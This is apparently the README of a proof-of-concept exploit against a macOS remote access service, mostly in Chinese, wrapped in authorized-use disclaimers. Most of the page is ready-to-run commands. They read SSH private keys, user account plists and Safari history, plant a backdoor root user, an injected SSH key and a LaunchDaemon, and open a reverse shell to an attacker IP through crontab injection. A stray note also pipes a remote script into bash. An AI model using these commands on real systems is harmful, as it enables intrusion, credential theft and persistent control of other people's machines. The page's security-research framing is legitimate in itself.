通过 PayPal 或扫描下方的二维码来支持本项目的维护。
请仅在安全且经授权的环境中使用本项目,例如:
示例配置:
git clone <repository-url>
cd <repository-name>
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Install requirments
pip install -r requirements.txt
示例用法:
# Read a File from Target
# Read /etc/passwd and display it
python3 exploit.py read -u root 192.168.1.100 /etc/passwd
# Read and save to a local file
python3 exploit.py read -u root 192.168.1.100 /etc/passwd -o passwd.txt
# Read a user's file
python3 exploit.py read -u root 192.168.1.100 /Users/admin/Documents/secret.txt
# Write a File to Target
# Write a local file to target
python3 exploit.py write -u root 192.168.1.100 /tmp/test.txt myfile.txt
# Write with specific permissions (0600 for crontab)
python3 exploit.py write -u root 192.168.1.100 /tmp/secret data.txt -m 0600
# Write from stdin
echo "hello world" | python3 exploit.py write -u root 192.168.1.100 /tmp/test.txt -
# Get a Reverse Shell (SIP Disabled Only)
# On your attacker machine, start a listener in another terminal
nc -nlvp 4444
# Run the exploit
python3 exploit.py exec -u root 192.168.1.100 192.168.1.50 4444
# Where:
# 192.168.1.100 = target Mac IP
# 192.168.1.50 = your attacker IP
# 4444 = port for reverse shell
# Example 1: Reading System Files
# Read the shadow file (if accessible)
python3 exploit.py read -u root 192.168.1.100 /var/db/dslocal/nodes/Default/users/admin.plist -o admin.plist
# Read Safari history
python3 exploit.py read -u root 192.168.1.100 /Users/admin/Library/Safari/History.db -o history.db
# Read SSH keys (if they exist)
python3 exploit.py read -u root 192.168.1.100 /Users/admin/.ssh/id_rsa -o id_rsa
# Example 2: Writing Files
# Create a backdoor user
echo "backdoor:*:0:0:Backdoor:/var/root:/bin/bash" > backdoor.txt
python3 exploit.py write -u root 192.168.1.100 /private/etc/passwd backdoor.txt
# Inject SSH key
python3 exploit.py write -u root 192.168.1.100 /Users/admin/.ssh/authorized_keys ~/.ssh/id_rsa.pub
# Write a startup script
python3 exploit.py write -u root 192.168.1.100 /Library/LaunchDaemons/com.backdoor.plist backdoor.plist
# Example 3: SIP Detection
python3 exploit.py exec -u root 192.168.1.100 192.168.1.50 4444
# Output if SIP is enabled:
# [!] SIP is enabled - crontab injection will fail
# [!] Try using the read/write commands instead
# Output if SIP is disabled:
# [*] SIP is disabled - proceeding with RCE
# [+] Wrote shell script to /var/tmp/.r
# [+] Wrote crontab to /var/at/tabs/root
# [*] Reverse shell should connect to 192.168.1.50:4444 within 60 seconds
# Authentication Bypass Retry
# Increase retry count if it fails
python3 exploit.py read -u root 192.168.1.100 /etc/passwd -r 50
# Port Specification
python3 exploit.py read -u root 192.168.1.100 /etc/passwd -p 5901
注意:
curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 来清理嵌套目录中的 .git一个用于在受控环境中学习、测试和研究网络安全概念的资源库。
本资源库仅用于教育和经授权的安全研究。
其设计旨在帮助用户了解:
仅在你有权限的环境中使用本资源库,例如:
严禁未经授权或非法的使用。
作者和贡献者不负责由本项目造成的任何损害、滥用、法律问题或损失。
使用本资源库即表示你同意:
本项目旨在用于:
请遵循负责任披露实践,并遵守所有适用法律。
如需负责任披露或合作,请通过 GitHub 联系资源库维护者。
浏览 PoC CVE 合集,获取其他面向经授权安全研究与教育的 CVE 概念验证资源。